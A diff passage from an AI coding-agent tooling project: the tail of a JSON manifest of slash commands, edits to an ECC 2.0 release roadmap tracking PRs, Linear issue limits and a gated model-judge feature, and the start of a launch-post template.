"path": "commands/multi-execute.md"
|
||||
},
|
||||
{
|
||||
"command": "multi-frontend",
|
||||
"description": "Run a frontend-focused multi-model workflow for components, layouts, animation, and UI polish.",
|
||||
"type": "orchestration",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/multi-frontend.md"
|
||||
},
|
||||
{
|
||||
"command": "multi-plan",
|
||||
"description": "Create a multi-model implementation plan without modifying production code.",
|
||||
"type": "orchestration",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [
|
||||
"accessibility"
|
||||
],
|
||||
"path": "commands/multi-plan.md"
|
||||
},
|
||||
{
|
||||
"command": "multi-workflow",
|
||||
"description": "Run a full multi-model development workflow with research, planning, execution, optimization, and review.",
|
||||
"type": "orchestration",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/multi-workflow.md"
|
||||
},
|
||||
{
|
||||
"command": "plan-prd",
|
||||
"description": "Generate a lean, problem-first PRD and hand off to /plan for implementation planning.",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/plan-prd.md"
|
||||
},
|
||||
{
|
||||
"command": "plan",
|
||||
"description": "Restate requirements, assess risks, and create step-by-step implementation plan. WAIT for user CONFIRM before touching any code.",
|
||||
"type": "testing",
|
||||
"primaryAgents": [
|
||||
"planner"
|
||||
],
|
||||
"allAgents": [
|
||||
"planner"
|
||||
],
|
||||
"skills": [],
|
||||
"path": "commands/plan.md"
|
||||
},
|
||||
{
|
||||
"command": "pm2",
|
||||
"description": "Analyze a project and generate PM2 service commands for detected frontend, backend, or database services.",
|
||||
"type": "general",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/pm2.md"
|
||||
},
|
||||
{
|
||||
"command": "pr",
|
||||
"description": "Create a GitHub PR from current branch with unpushed commits — discovers templates, analyzes changes, pushes",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/pr.md"
|
||||
},
|
||||
{
|
||||
"command": "project-init",
|
||||
"description": "Detect a project's stack and produce a dry-run ECC onboarding plan using the repository's install manifests and stack mappings.",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [
|
||||
"ecc-guide"
|
||||
],
|
||||
"path": "commands/project-init.md"
|
||||
},
|
||||
{
|
||||
"command": "projects",
|
||||
"description": "List known projects and their instinct statistics",
|
||||
"type": "general",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [
|
||||
"continuous-learning-v2"
|
||||
],
|
||||
"path": "commands/projects.md"
|
||||
},
|
||||
{
|
||||
"command": "promote",
|
||||
"description": "Promote project-scoped instincts to global scope",
|
||||
"type": "review",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [
|
||||
"continuous-learning-v2"
|
||||
],
|
||||
"path": "commands/promote.md"
|
||||
},
|
||||
{
|
||||
"command": "prp-commit",
|
||||
"description": "Quick commit with natural language file targeting — describe what to commit in plain English",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/prp-commit.md"
|
||||
},
|
||||
{
|
||||
"command": "prp-implement",
|
||||
"description": "Execute an implementation plan with rigorous validation loops",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/prp-implement.md"
|
||||
},
|
||||
{
|
||||
"command": "prp-plan",
|
||||
"description": "Create comprehensive feature implementation plan with codebase analysis and pattern extraction",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/prp-plan.md"
|
||||
},
|
||||
{
|
||||
"command": "prp-pr",
|
||||
"description": "Create a GitHub PR from current branch with unpushed commits — discovers templates, analyzes changes, pushes",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/prp-pr.md"
|
||||
},
|
||||
{
|
||||
"command": "prp-prd",
|
||||
"description": "Interactive PRD generator - problem-first, hypothesis-driven product spec with back-and-forth questioning",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/prp-prd.md"
|
||||
},
|
||||
{
|
||||
"command": "prune",
|
||||
"description": "Delete pending instincts older than 30 days that were never promoted",
|
||||
"type": "review",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [
|
||||
"continuous-learning-v2"
|
||||
],
|
||||
"path": "commands/prune.md"
|
||||
},
|
||||
{
|
||||
"command": "python-review",
|
||||
"description": "Comprehensive Python code review for PEP 8 compliance, type hints, security, and Pythonic idioms. Invokes the python-reviewer agent.",
|
||||
"type": "testing",
|
||||
"primaryAgents": [
|
||||
"python-reviewer"
|
||||
],
|
||||
"allAgents": [
|
||||
"python-reviewer"
|
||||
],
|
||||
"skills": [
|
||||
"python-patterns",
|
||||
"python-testing"
|
||||
],
|
||||
"path": "commands/python-review.md"
|
||||
},
|
||||
{
|
||||
"command": "quality-gate",
|
||||
"description": "Run the ECC quality pipeline for a file or project scope and report remediation steps.",
|
||||
"type": "general",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/quality-gate.md"
|
||||
},
|
||||
{
|
||||
"command": "refactor-clean",
|
||||
"description": "Safely identify and remove dead code with verification after each change.",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/refactor-clean.md"
|
||||
},
|
||||
{
|
||||
"command": "resume-session",
|
||||
"description": "Load the most recent session file from ~/.claude/session-data/ and resume work with full context from where the last session ended.",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/resume-session.md"
|
||||
},
|
||||
{
|
||||
"command": "review-pr",
|
||||
"description": "Comprehensive PR review using specialized agents",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/review-pr.md"
|
||||
},
|
||||
{
|
||||
"command": "rust-build",
|
||||
"description": "Fix Rust build errors, borrow checker issues, and dependency problems incrementally. Invokes the rust-build-resolver agent for minimal, surgical fixes.",
|
||||
"type": "testing",
|
||||
"primaryAgents": [
|
||||
"rust-build-resolver"
|
||||
],
|
||||
"allAgents": [
|
||||
"rust-build-resolver"
|
||||
],
|
||||
"skills": [
|
||||
"rust-patterns"
|
||||
],
|
||||
"path": "commands/rust-build.md"
|
||||
},
|
||||
{
|
||||
"command": "rust-review",
|
||||
"description": "Comprehensive Rust code review for ownership, lifetimes, error handling, unsafe usage, and idiomatic patterns. Invokes the rust-reviewer agent.",
|
||||
"type": "testing",
|
||||
"primaryAgents": [
|
||||
"rust-reviewer"
|
||||
],
|
||||
"allAgents": [
|
||||
"rust-reviewer"
|
||||
],
|
||||
"skills": [
|
||||
"rust-patterns",
|
||||
"rust-testing"
|
||||
],
|
||||
"path": "commands/rust-review.md"
|
||||
},
|
||||
{
|
||||
"command": "rust-test",
|
||||
"description": "Enforce TDD workflow for Rust. Write tests first, then implement. Verify 80%+ coverage with cargo-llvm-cov.",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [
|
||||
"rust-patterns",
|
||||
"rust-testing"
|
||||
],
|
||||
"path": "commands/rust-test.md"
|
||||
},
|
||||
{
|
||||
"command": "santa-loop",
|
||||
"description": "Adversarial dual-review convergence loop — two independent model reviewers must both approve before code ships.",
|
||||
"type": "review",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/santa-loop.md"
|
||||
},
|
||||
{
|
||||
"command": "save-session",
|
||||
"description": "Save current session state to a dated file in ~/.claude/session-data/ so work can be resumed in a future session with full context.",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/save-session.md"
|
||||
},
|
||||
{
|
||||
"command": "security-scan",
|
||||
"description": "Run AgentShield against agent, hook, MCP, permission, and secret surfaces.",
|
||||
"type": "review",
|
||||
"primaryAgents": [
|
||||
"security-reviewer"
|
||||
],
|
||||
"allAgents": [
|
||||
"security-reviewer"
|
||||
],
|
||||
"skills": [
|
||||
"security-scan"
|
||||
],
|
||||
"path": "commands/security-scan.md"
|
||||
},
|
||||
{
|
||||
"command": "sessions",
|
||||
"description": "Manage Claude Code session history, aliases, and session metadata.",
|
||||
"type": "general",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/sessions.md"
|
||||
},
|
||||
{
|
||||
"command": "setup-pm",
|
||||
"description": "Configure your preferred package manager (npm/pnpm/yarn/bun)",
|
||||
"type": "build",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/setup-pm.md"
|
||||
},
|
||||
{
|
||||
"command": "skill-create",
|
||||
"description": "Analyze local git history to extract coding patterns and generate SKILL.md files. Local version of the Skill Creator GitHub App.",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/skill-create.md"
|
||||
},
|
||||
{
|
||||
"command": "skill-health",
|
||||
"description": "Show skill portfolio health dashboard with charts and analytics",
|
||||
"type": "review",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/skill-health.md"
|
||||
},
|
||||
{
|
||||
"command": "test-coverage",
|
||||
"description": "Analyze coverage, identify gaps, and generate missing tests toward the target threshold.",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/test-coverage.md"
|
||||
},
|
||||
{
|
||||
"command": "update-codemaps",
|
||||
"description": "Scan project structure and generate token-lean architecture codemaps.",
|
||||
"type": "planning",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/update-codemaps.md"
|
||||
},
|
||||
{
|
||||
"command": "update-docs",
|
||||
"description": "Sync documentation from source-of-truth files such as scripts, schemas, routes, and exports.",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/update-docs.md"
|
||||
}
|
||||
],
|
||||
"statistics": {
|
||||
"byType": {
|
||||
"build": 2,
|
||||
"general": 8,
|
||||
"orchestration": 6,
|
||||
"planning": 2,
|
||||
"refactoring": 1,
|
||||
"review": 9,
|
||||
"testing": 47
|
||||
},
|
||||
"topAgents": [
|
||||
{
|
||||
"agent": "dart-build-resolver",
|
||||
"count": 2
|
||||
},
|
||||
{
|
||||
"agent": "flutter-reviewer",
|
||||
"count": 2
|
||||
},
|
||||
{
|
||||
"agent": "cpp-build-resolver",
|
||||
"count": 1
|
||||
},
|
||||
{
|
||||
"agent": "cpp-reviewer",
|
||||
"count": 1
|
||||
},
|
||||
{
|
||||
"agent": "go-build-resolver",
|
||||
"count": 1
|
||||
},
|
||||
{
|
||||
"agent": "go-reviewer",
|
||||
"count": 1
|
||||
},
|
||||
{
|
||||
"agent": "kotlin-build-resolver",
|
||||
"count": 1
|
||||
},
|
||||
{
|
||||
"agent": "kotlin-reviewer",
|
||||
"count": 1
|
||||
},
|
||||
{
|
||||
"agent": "planner",
|
||||
"count": 1
|
||||
},
|
||||
{
|
||||
"agent": "python-reviewer",
|
||||
"count": 1
|
||||
}
|
||||
],
|
||||
"topSkills": [
|
||||
{
|
||||
"skill": "continuous-learning-v2",
|
||||
"count": 6
|
||||
},
|
||||
{
|
||||
"skill": "flutter-dart-code-review",
|
||||
"count": 3
|
||||
},
|
||||
{
|
||||
"skill": "rust-patterns",
|
||||
"count": 3
|
||||
},
|
||||
{
|
||||
"skill": "tdd-workflow",
|
||||
"count": 3
|
||||
},
|
||||
{
|
||||
"skill": "cpp-coding-standards",
|
||||
"count": 2
|
||||
},
|
||||
{
|
||||
"skill": "cpp-testing",
|
||||
"count": 2
|
||||
},
|
||||
{
|
||||
"skill": "ecc-guide",
|
||||
"count": 2
|
||||
},
|
||||
{
|
||||
"skill": "golang-patterns",
|
||||
"count": 2
|
||||
},
|
||||
{
|
||||
"skill": "golang-testing",
|
||||
"count": 2
|
||||
},
|
||||
{
|
||||
"skill": "kotlin-patterns",
|
||||
"count": 2
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
@@ -1,39 +1,36 @@
|
||||
# ECC 2.0 GA Roadmap
|
||||
|
||||
This roadmap is the durable repo mirror for the active Linear project:
|
||||
This roadmap is the durable repo mirror for the Linear project:
|
||||
|
||||
<https://linear.app/itomarkets/project/ecc-platform-roadmap-52b328ee03e1>
|
||||
<https://linear.app/ecctools/project/ecc-20-ga-harness-os-security-platform-de2a0ecace6f>
|
||||
|
||||
Linear issue creation is available again in the Ito Markets workspace. The live
|
||||
execution truth is split across:
|
||||
Linear issue creation is currently blocked by the workspace active issue limit,
|
||||
so the live execution truth is split across:
|
||||
|
||||
- the Linear project documents, issue lanes, dependencies, and milestones;
|
||||
- the Linear project description, status updates, and milestones;
|
||||
- this repo document;
|
||||
- merged PR evidence;
|
||||
- handoffs under `~/.cluster-swarm/handoffs/`.
|
||||
|
||||
## Current Evidence
|
||||
|
||||
As of 2026-05-15:
|
||||
As of 2026-05-13:
|
||||
|
||||
- GitHub queues are clean across `affaan-m/everything-claude-code`,
|
||||
`affaan-m/agentshield`, `affaan-m/JARVIS`, `ECC-Tools/ECC-Tools`, and
|
||||
`ECC-Tools/ECC-website`: the latest sweep found 0 open PRs and 0 open issues
|
||||
across all five repos. ECC Tools org verification requires
|
||||
`env -u GITHUB_TOKEN` in this shell so the configured GitHub host credential
|
||||
is used instead of the incompatible environment token.
|
||||
- GitHub discussions are current across those tracked repos:
|
||||
`affaan-m/everything-claude-code` has 57 total discussions and 0 without
|
||||
maintainer touch after May 15 maintainer updates on #73 and #1239; AgentShield,
|
||||
JARVIS, ECC Tools, and the ECC Tools website have discussions disabled or 0
|
||||
total discussions.
|
||||
- The current Linear roadmap contains 16 issue lanes (`ITO-44` through
|
||||
`ITO-59`) and five milestones: Security and Access Baseline, ECC 2.0 Preview
|
||||
and Publication, AgentShield Enterprise Iteration, ECC Tools Next-Level
|
||||
Platform, and Legacy Audit and Salvage.
|
||||
- `docs/releases/2.0.0-rc.1/publication-evidence-2026-05-15.md` records the
|
||||
queue, discussion, Linear roadmap, ECC Tools access, and PR #1921
|
||||
Mini Shai-Hulud/TanStack follow-up evidence refresh.
|
||||
`ECC-Tools/ECC-website`: the latest sweep found 0 open PRs and 0 open
|
||||
issues across all five repos.
|
||||
- GitHub discussions are also clean across those tracked repos:
|
||||
the latest GraphQL sweep found 52 total trunk discussions with 0 open,
|
||||
and 0 total/open discussions on AgentShield, JARVIS, ECC-Tools, and the
|
||||
ECC-Tools website.
|
||||
- The final open public GitHub issue, #1314, was closed as a non-actionable
|
||||
external badge/listing notification with a courtesy comment.
|
||||
- Linear issue creation for this project was re-tested after GitHub cleanup and
|
||||
is still blocked by the workspace free issue limit. Seven roadmap-lane issue
|
||||
creation attempts all returned the same limit error, so this repo mirror and
|
||||
Linear project status updates remain the active tracking surfaces until the
|
||||
workspace is upgraded or issue capacity is freed.
|
||||
- `npm run harness:audit -- --format json` reports 70/70 on current `main`.
|
||||
- `npm run observability:ready` reports 21/21 readiness on current `main`,
|
||||
including the GitHub/Linear/handoff/roadmap progress-sync contract.
|
||||
@@ -174,24 +171,6 @@ As of 2026-05-15:
|
||||
head, scores their artifacts and findings against evaluator/RAG corpus
|
||||
expectations, and treats matching hosted artifacts as promotion evidence
|
||||
before reporting a gap.
|
||||
- ECC-Tools PR #70 merged as `7001d805ac981fe220b4575159f469fbea9dbb76`
|
||||
and added retrieval planning for hosted promotion:
|
||||
the check now emits ranked retrieval candidates from cached hosted artifacts,
|
||||
hosted findings, expected evidence paths, and changed source paths, plus a
|
||||
model prompt seed that tells the later hosted judge not to promote from
|
||||
changed paths alone.
|
||||
- ECC-Tools PR #71 merged as `d41e59ff00fe1bd0b0c96386e56bc5269d7b9c15`
|
||||
and added the first model-backed hosted promotion judge contract:
|
||||
the check now emits a provider-neutral `hosted-promotion-judge.v1` request
|
||||
contract and fails closed unless hosted retrieval evidence, entitlement,
|
||||
remaining budget, and provider configuration are present. It still does not
|
||||
make live model calls.
|
||||
- ECC-Tools PR #72 merged as `973bc51e5436dd279ae5a890cce9811485eef0b5`
|
||||
and executes the hosted promotion model judge behind explicit gates:
|
||||
`PR_HOSTED_PROMOTION_MODEL_JUDGE_MODE=execute` now calls the configured
|
||||
provider only after hosted retrieval evidence, entitlement, budget, provider,
|
||||
and executor gates pass; the check remains non-blocking, strict-JSON-only,
|
||||
and rejects uncited or non-hosted model output without echoing raw responses.
|
||||
- Handoff `ecc-supply-chain-audit-20260513-0645.md` under
|
||||
`~/.cluster-swarm/handoffs/`
|
||||
records the May 13 supply-chain sweep: no active lockfile/manifest hit for
|
||||
@@ -488,10 +467,10 @@ is not complete unless the evidence column exists and has been freshly verified.
|
||||
| Claude and Codex plugin publication | Contact/submission path with required artifacts and status | Publication readiness, naming matrix, and May 12 dry-run evidence document plugin validation, clean-checkout Claude tag/install smoke, and Codex marketplace CLI shape | Needs explicit approval for real tag/push and marketplace submission |
|
||||
| Articles, tweets, and announcements | X thread, LinkedIn copy, GitHub release copy, push checklist | Draft launch collateral exists under rc.1 release docs | Needs URL-backed refresh |
|
||||
| AgentShield enterprise iteration | Policy gates, SARIF, packs, provenance, corpus, HTML reports, exception lifecycle audit, baseline drift Action/CLI surfaces, evidence-pack redaction, harness adapter registry, enterprise research roadmap, supply-chain hardened release path, CI-safe baseline fingerprints, corpus accuracy recommendations, remediation workflow phases, env proxy hijack corpus coverage | PRs #53, #55-#64, #67-#69, and #78-#82 landed with test evidence; native PDF export deferred in favor of self-contained HTML plus print-to-PDF until explicit enterprise demand appears; `docs/architecture/agentshield-enterprise-research-roadmap.md` now has baseline drift, evidence-pack bundle, redaction, adapter-registry, supply-chain hardening, hashed baseline fingerprints, corpus accuracy recommendation, remediation workflow, and env proxy hijack corpus slices landed | Next hosted evidence-pack workflow depth |
|
||||
| ECC Tools next-level app | Billing audit, PR checks, deep analyzer, sync backlog, evaluator/RAG corpus, analysis-depth readiness, hosted execution planning, hosted CI diagnostics, hosted security evidence review, hosted harness compatibility audit, hosted reference-set evaluation, hosted AI routing/cost review, hosted team backlog routing, hosted depth-plan check-run, PR-comment hosted job dispatch, hosted job result history/check-runs, hosted result status command, status-aware depth-plan recommendations, hosted promotion readiness, hosted promotion output scoring, hosted promotion retrieval planning, hosted promotion judge contract, gated hosted promotion judge execution | PRs #26-#43 plus #53-#72 landed with test evidence, including AgentShield evidence-pack gap routing, canonical bundle recognition, supply-chain signature gates, PR draft follow-up Linear tracking, evidence-backed/deep-ready repository classification, the `/api/analysis/depth-plan` hosted job plan, `/api/analysis/jobs/ci-diagnostics`, `/api/analysis/jobs/security-evidence-review`, `/api/analysis/jobs/harness-compatibility-audit`, `/api/analysis/jobs/reference-set-evaluation`, `/api/analysis/jobs/ai-routing-cost-review`, `/api/analysis/jobs/team-backlog-routing`, the `ECC Tools / Hosted Depth Plan` check-run, `/ecc-tools analyze --job ...` PR-comment dispatch, non-blocking per-hosted-job result check-runs backed by 30-day result cache records, `/ecc-tools analyze --job status` cache lookup, cache-aware next-job recommendations in the depth-plan check-run, the `ECC Tools / Hosted Promotion Readiness` corpus-backed PR check-run, deterministic hosted-output scoring against cached completed job artifacts/findings, ranked retrieval/model-prompt planning, the fail-closed `hosted-promotion-judge.v1` request contract, and opt-in live model-judge execution behind hosted evidence, entitlement, budget, provider, executor, strict JSON, and citation gates | Next work is hosted promotion telemetry and operator review UX |
|
||||
| ECC Tools next-level app | Billing audit, PR checks, deep analyzer, sync backlog, evaluator/RAG corpus, analysis-depth readiness, hosted execution planning, hosted CI diagnostics, hosted security evidence review, hosted harness compatibility audit, hosted reference-set evaluation, hosted AI routing/cost review, hosted team backlog routing, hosted depth-plan check-run, PR-comment hosted job dispatch, hosted job result history/check-runs, hosted result status command, status-aware depth-plan recommendations, hosted promotion readiness, hosted promotion output scoring | PRs #26-#43 plus #53-#69 landed with test evidence, including AgentShield evidence-pack gap routing, canonical bundle recognition, supply-chain signature gates, PR draft follow-up Linear tracking, evidence-backed/deep-ready repository classification, the `/api/analysis/depth-plan` hosted job plan, `/api/analysis/jobs/ci-diagnostics`, `/api/analysis/jobs/security-evidence-review`, `/api/analysis/jobs/harness-compatibility-audit`, `/api/analysis/jobs/reference-set-evaluation`, `/api/analysis/jobs/ai-routing-cost-review`, `/api/analysis/jobs/team-backlog-routing`, the `ECC Tools / Hosted Depth Plan` check-run, `/ecc-tools analyze --job ...` PR-comment dispatch, non-blocking per-hosted-job result check-runs backed by 30-day result cache records, `/ecc-tools analyze --job status` cache lookup, cache-aware next-job recommendations in the depth-plan check-run, the `ECC Tools / Hosted Promotion Readiness` corpus-backed PR check-run, and deterministic hosted-output scoring against cached completed job artifacts/findings | Next work is retrieval/model-backed hosted promotion after deterministic output scoring |
|
||||
| GitGuardian/Dependabot/CodeRabbit-style checks | Non-blocking taxonomy, deterministic follow-up checks, and local supply-chain gates | ECC-Tools risk taxonomy check plus follow-up signals landed, including Skill Quality, Deep Analyzer Evidence, Analyzer Corpus Evidence, RAG/Evaluator Evidence, PR Review/Salvage Evidence, and AgentShield evidence-pack evidence; #1846 added npm registry signature gates; #1848 added the supply-chain incident-response playbook and `pull_request_target` cache-poisoning validator guard; #1851 added the privileged checkout credential-persistence guard; AgentShield #78, JARVIS #13, and ECC-Tools #53 applied the same hardening outside trunk | Current supply-chain gate complete; deeper hosted review features remain future |
|
||||
| Harness-agnostic learning system | Audit, adapter matrix, observability, traces, promotion loop | Audit/adapters/observability gates plus `docs/architecture/evaluator-rag-prototype.md`, `examples/evaluator-rag-prototype/`, and ECC-Tools PR #40 define read-only stale-salvage, billing-readiness, CI-failure-diagnosis, harness-config-quality, AgentShield policy-exception, skill-quality evidence, deep-analyzer evidence, and RAG/evaluator comparison scenarios with trace, report, playbook, verifier, and predictive-check artifacts; ECC-Tools PRs #68-#72 now turn that corpus into a deterministic PR check-run gate with cached hosted-output scoring, ranked retrieval candidates, a model prompt seed, a fail-closed hosted model-judge request contract, and opt-in live model execution behind strict hosted-evidence gates | Deterministic hosted PR check, cached output scoring, retrieval planning, judge contract, and gated model execution integrated |
|
||||
| Linear roadmap is detailed | Linear project status plus repo mirror | Repo mirror exists; issue creation was retried on 2026-05-12 and remains blocked by the workspace free issue limit; this May 13 sync adds ECC #1860, AgentShield #78-#82, JARVIS #13, ECC-Tools #53-#72, resolved queue/discussion counts, and notes that Linear connector status updates after ECC-Tools #68 remain blocked by a connector secret-owner error | Needs recurring status updates after connector recovery |
|
||||
| Harness-agnostic learning system | Audit, adapter matrix, observability, traces, promotion loop | Audit/adapters/observability gates plus `docs/architecture/evaluator-rag-prototype.md`, `examples/evaluator-rag-prototype/`, and ECC-Tools PR #40 define read-only stale-salvage, billing-readiness, CI-failure-diagnosis, harness-config-quality, AgentShield policy-exception, skill-quality evidence, deep-analyzer evidence, and RAG/evaluator comparison scenarios with trace, report, playbook, verifier, and predictive-check artifacts; ECC-Tools PRs #68/#69 now turn that corpus into a deterministic PR check-run gate with cached hosted-output scoring | Deterministic hosted PR check and cached output scoring integrated; hosted retrieval remains future |
|
||||
| Linear roadmap is detailed | Linear project status plus repo mirror | Repo mirror exists; issue creation was retried on 2026-05-12 and remains blocked by the workspace free issue limit; this May 13 sync adds ECC #1860, AgentShield #78-#82, JARVIS #13, ECC-Tools #53-#69, resolved queue/discussion counts, and Linear project status updates through ECC-Tools #69 | Needs recurring status updates after each merge batch |
|
||||
| Flow separation and progress tracking | Flow lanes with owner artifacts and update cadence | This roadmap defines lanes below and `docs/architecture/progress-sync-contract.md` makes GitHub/Linear/handoff/roadmap sync part of the readiness gate | Active |
|
||||
| Realtime Linear sync | Project updates while issue limit is blocked; issues later | ECC-Tools #39 implements opt-in Linear API sync for deferred follow-up backlog items, and ECC-Tools #54 adds copy-ready PR drafts to that backlog when draft PR shells are not opened; `docs/architecture/progress-sync-contract.md` defines the local file-backed realtime boundary while issue capacity is blocked | Needs workspace capacity/config rollout |
|
||||
| Observability for self-use | Local readiness gate, traces, status snapshots, HUD/status contract, risk ledger, progress-sync contract | `npm run observability:ready` reports 21/21 | Complete for local gate |
|
||||
@@ -510,9 +489,9 @@ repo evidence and merge commits.
|
||||
| Queue hygiene and salvage | GitHub PR/issue state, salvage ledger | Append ledger entries for any future stale closures | Every cleanup batch |
|
||||
| Release and publication | rc.1 release docs, publication readiness doc | Naming matrix and plugin submission/contact checklist | Before any tag |
|
||||
| Harness OS core | Audit, adapter matrix, observability docs, `ecc2/` | HUD/session-control acceptance spec | Weekly until GA |
|
||||
| Evaluation and RAG | Reference-set validation, harness audit, traces, ECC-Tools corpus | Read-only evaluator/RAG prototype plus stale-salvage, billing-readiness, CI-failure-diagnosis, harness-config-quality, AgentShield policy-exception, skill-quality evidence, deep-analyzer evidence, and RAG/evaluator comparison fixtures; ECC-Tools #68 publishes the corpus as a hosted promotion readiness check-run, #69 scores cached hosted job outputs against the same corpus, #70 emits ranked retrieval candidates plus a model prompt seed, #71 adds a fail-closed hosted model-judge request contract, and #72 executes that judge only when explicitly enabled and backed by hosted retrieval citations | Hosted promotion telemetry and operator review UX |
|
||||
| Evaluation and RAG | Reference-set validation, harness audit, traces, ECC-Tools corpus | Read-only evaluator/RAG prototype plus stale-salvage, billing-readiness, CI-failure-diagnosis, harness-config-quality, AgentShield policy-exception, skill-quality evidence, deep-analyzer evidence, and RAG/evaluator comparison fixtures; ECC-Tools #68 publishes the corpus as a hosted promotion readiness check-run, and #69 scores cached hosted job outputs against the same corpus | Hosted retrieval/model-backed promotion plan |
|
||||
| AgentShield enterprise | AgentShield PR evidence and roadmap notes | Remediation workflow depth or corpus expansion follow-up | Next implementation batch |
|
||||
| ECC Tools app | ECC-Tools PR evidence, billing audit, risk taxonomy, evaluator/RAG corpus | ECC-Tools #53 published the supply-chain workflow hardening branch, #54 tracks copy-ready PR drafts in the Linear/project backlog, #55 classifies analysis-depth readiness, #56 exposes the hosted execution plan, #57 executes the first hosted CI diagnostics job, #58 executes the hosted security evidence review job, #59 executes the hosted harness compatibility audit, #60 executes the hosted reference-set evaluation, #61 executes the hosted AI routing/cost review, #62 executes hosted team backlog routing, #63 publishes the hosted depth-plan check-run, #64 dispatches hosted jobs from PR comments, #65 persists hosted result history/check-runs, #66 exposes hosted job status from PR comments, #67 makes depth-plan recommendations cache-aware, #68 publishes hosted promotion readiness from the evaluator/RAG corpus, #69 scores cached hosted job outputs against that corpus, #70 emits ranked retrieval candidates plus a model prompt seed, #71 emits the gated `hosted-promotion-judge.v1` contract without live model calls, and #72 adds opt-in live model-judge execution behind hosted-evidence and strict JSON/citation gates | Next implementation batch |
|
||||
| ECC Tools app | ECC-Tools PR evidence, billing audit, risk taxonomy, evaluator/RAG corpus | ECC-Tools #53 published the supply-chain workflow hardening branch, #54 tracks copy-ready PR drafts in the Linear/project backlog, #55 classifies analysis-depth readiness, #56 exposes the hosted execution plan, #57 executes the first hosted CI diagnostics job, #58 executes the hosted security evidence review job, #59 executes the hosted harness compatibility audit, #60 executes the hosted reference-set evaluation, #61 executes the hosted AI routing/cost review, #62 executes hosted team backlog routing, #63 publishes the hosted depth-plan check-run, #64 dispatches hosted jobs from PR comments, #65 persists hosted result history/check-runs, #66 exposes hosted job status from PR comments, #67 makes depth-plan recommendations cache-aware, #68 publishes hosted promotion readiness from the evaluator/RAG corpus, and #69 scores cached hosted job outputs against that corpus; next work is retrieval/model-backed hosted promotion | Next implementation batch |
|
||||
| Linear progress | Linear project status updates, `docs/architecture/progress-sync-contract.md`, and this mirror | Status update with queue/evidence/missing gates | Every significant merge batch |
|
||||
|
||||
The project status update should always include:
|
||||
@@ -729,12 +708,12 @@ Acceptance:
|
||||
PR #82 expanded corpus coverage for env proxy hijacks and out-of-band
|
||||
exfiltration; and ECC-Tools PRs #42/#43 now route and recognize evidence
|
||||
packs. The next slice is hosted evidence-pack workflow depth.
|
||||
2. Add hosted promotion telemetry and operator review UX on top of the #72
|
||||
gated model execution path so live judgments can be audited before any
|
||||
promotion policy becomes enforceable.
|
||||
2. Plan retrieval/model-backed hosted promotion on top of the #69 deterministic
|
||||
hosted output scoring contract, keeping vector/model judgment behind fixture
|
||||
evaluation until the retrieval contract is stable.
|
||||
3. Enable/configure the merged Linear backlog sync path after workspace issue
|
||||
capacity clears or the Linear workspace is upgraded, then verify PR-draft
|
||||
salvage items land in the expected project.
|
||||
4. Use the ECC-Tools evaluator/RAG corpus as the promotion gate before adding
|
||||
hosted retrieval, vector storage, live model-backed judging, or automated
|
||||
hosted retrieval, vector storage, model-backed judging, or automated
|
||||
check-run promotion.
|
||||
|
||||
@@ -5,7 +5,7 @@ Use these templates as launch-ready starting points. Review channel tone before
|
||||
## X Post: Release Announcement
|
||||
|
||||
```text
|
||||
ECC v2.0.0-rc.1 preview pack is ready for final release review.
|
||||
ECC v2.0.0-rc.1 is live.
|
||||
|
||||
